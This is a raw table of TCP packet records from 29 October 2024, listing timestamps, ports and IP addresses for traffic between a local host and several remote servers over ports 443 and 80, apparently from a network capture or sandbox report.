Oct 29, 2024 04:17:06.330168009 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.331362963 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.331437111 CET	443	49734	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.331702948 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.331712961 CET	443	49734	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.384555101 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.597539902 CET	443	49734	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.632131100 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.645448923 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.645476103 CET	443	49734	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.646377087 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.646385908 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.650028944 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.650099039 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.650541067 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.650687933 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.650721073 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.670717001 CET	443	49738	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.695768118 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.705794096 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.705801964 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.714025974 CET	49738	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.719750881 CET	443	49734	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.719881058 CET	443	49734	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.719959021 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.759919882 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.883178949 CET	443	49739	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.892034054 CET	49738	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.892093897 CET	443	49738	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.892477989 CET	49739	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.892486095 CET	443	49739	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.894675970 CET	443	49739	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.894750118 CET	49739	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.895848036 CET	443	49738	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.895920992 CET	49738	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.906517029 CET	49739	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.906636953 CET	443	49739	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.906768084 CET	49738	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.907107115 CET	443	49738	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.907330036 CET	49739	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.907337904 CET	443	49739	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.913048983 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.913117886 CET	443	49734	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.913172007 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.913172007 CET	49734	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.938117981 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.938242912 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.938344955 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.938395977 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.938404083 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.938503027 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.938559055 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.938565016 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.938601971 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.938807964 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.946774960 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.946822882 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.946830034 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.959743977 CET	49739	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.959764957 CET	49738	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.959784031 CET	443	49738	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:06.991622925 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:06.991628885 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.006557941 CET	49738	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.036885977 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.056896925 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.057070017 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.057544947 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.057552099 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.062035084 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.064531088 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.064538002 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.066819906 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.066881895 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.066889048 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.075700998 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.075747967 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.075754881 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.084718943 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.085091114 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.085098028 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.094113111 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.094253063 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.094260931 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.103009939 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.103060961 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.103068113 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.110980034 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.111066103 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.111073017 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.118700981 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.118757963 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.118766069 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.163377047 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.163383007 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.175218105 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.175272942 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.175280094 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.175409079 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.175455093 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.175461054 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.175611019 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.175662041 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.175668955 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.180602074 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.180661917 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.180669069 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.186024904 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.186136007 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.186189890 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.186198950 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.186362982 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.189574003 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.190244913 CET	443	49739	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.196448088 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.196523905 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.196530104 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.202769041 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.202821016 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.202827930 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.209119081 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.209176064 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.209182024 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.215418100 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.215475082 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.215481043 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.221667051 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.221716881 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.221724033 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.227765083 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.227874994 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.227929115 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.227941036 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.227982044 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.234157085 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.240216970 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.240283012 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.240289927 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.240781069 CET	49739	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.240784883 CET	443	49739	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.241841078 CET	49739	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.241900921 CET	443	49739	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.241961956 CET	49739	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.246457100 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.246509075 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.246515989 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.252722979 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.252768993 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.252775908 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.285825014 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.285876989 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.285882950 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.293901920 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.293951988 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.293958902 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.294055939 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.294102907 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.294109106 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.294291973 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.294357061 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.294363022 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.299020052 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.299077988 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.299084902 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.304853916 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.304964066 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.305016994 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.305025101 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.305082083 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.307939053 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.314949989 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.315004110 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.315011978 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.318815947 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.318866968 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.318872929 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.321213007 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.321274996 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.321281910 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.327794075 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.327847004 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.327852964 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.333889961 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.333942890 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.333950043 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.340163946 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.340226889 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.340234041 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.346232891 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.346285105 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.346292019 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.352629900 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.352684021 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.352689981 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.358815908 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.358867884 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.358874083 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.365004063 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.365093946 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.365101099 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.371334076 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.371397972 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.371403933 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.404505968 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.404695034 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.404702902 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.412225962 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.412281990 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.412288904 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.412638903 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:07.412729025 CET	443	49737	142.250.186.100	192.168.2.4
Oct 29, 2024 04:17:07.412789106 CET	49737	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:11.486907005 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:11.486924887 CET	443	49751	142.250.185.78	192.168.2.4
Oct 29, 2024 04:17:11.487087011 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:11.487277031 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:11.487288952 CET	443	49751	142.250.185.78	192.168.2.4
Oct 29, 2024 04:17:12.340142012 CET	443	49751	142.250.185.78	192.168.2.4
Oct 29, 2024 04:17:12.340354919 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:12.340369940 CET	443	49751	142.250.185.78	192.168.2.4
Oct 29, 2024 04:17:12.341665983 CET	443	49751	142.250.185.78	192.168.2.4
Oct 29, 2024 04:17:12.341732979 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:12.343022108 CET	443	49751	142.250.185.78	192.168.2.4
Oct 29, 2024 04:17:12.343066931 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:12.343977928 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:12.344054937 CET	443	49751	142.250.185.78	192.168.2.4
Oct 29, 2024 04:17:12.344176054 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:12.344183922 CET	443	49751	142.250.185.78	192.168.2.4
Oct 29, 2024 04:17:12.344224930 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:12.391321898 CET	443	49751	142.250.185.78	192.168.2.4
Oct 29, 2024 04:17:12.396640062 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:12.626692057 CET	443	49751	142.250.185.78	192.168.2.4
Oct 29, 2024 04:17:12.635243893 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:12.635281086 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:12.635354042 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:12.636672974 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:12.636687994 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:12.678498030 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:12.678514004 CET	443	49751	142.250.185.78	192.168.2.4
Oct 29, 2024 04:17:12.679852009 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:12.679954052 CET	443	49751	142.250.185.78	192.168.2.4
Oct 29, 2024 04:17:12.680047989 CET	49751	443	192.168.2.4	142.250.185.78
Oct 29, 2024 04:17:12.762602091 CET	49730	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:12.762861013 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:12.767992973 CET	80	49730	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:12.768321037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:12.768395901 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:12.768522024 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:12.768556118 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:12.773937941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:12.773968935 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:13.646920919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:13.647002935 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:13.761116028 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:13.761219978 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:13.764689922 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:13.764704943 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:13.765110016 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:13.772628069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:13.772716999 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:13.778099060 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:13.778131962 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:13.778336048 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:13.829596996 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:13.899461031 CET	49738	443	192.168.2.4	142.250.186.100
Oct 29, 2024 04:17:14.051076889 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:14.051181078 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:14.065222025 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:14.070602894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:14.350956917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:14.351070881 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:14.559806108 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:14.607327938 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:14.727897882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:14.733521938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:14.933315039 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:14.933396101 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:14.933418036 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:14.933437109 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:14.933450937 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:14.933471918 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:14.933494091 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:14.933495998 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:14.933516026 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:14.933549881 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:14.933558941 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:14.933573008 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:14.933803082 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:14.933865070 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:14.933875084 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:14.969773054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:14.969852924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:14.989089012 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:15.057347059 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:15.057455063 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:15.057535887 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:15.315936089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.321541071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.553028107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.553061962 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.553097963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.553126097 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.553132057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.553164959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.553175926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.553199053 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.553219080 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.553219080 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.553234100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.553296089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.553919077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.554034948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.554066896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.554099083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.554125071 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.554126024 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.554162979 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.554533005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.554584026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.554590940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.554616928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.554668903 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.584219933 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:15.584255934 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:15.584275961 CET	49753	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:15.584284067 CET	443	49753	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:15.672820091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.672858000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.672894001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.672928095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.672926903 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.672957897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.672962904 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.672986984 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.673006058 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.673059940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.673137903 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.673162937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:15.673171043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:15.673183918 CET	49755	80	192.168.2.4	77.83.175.105
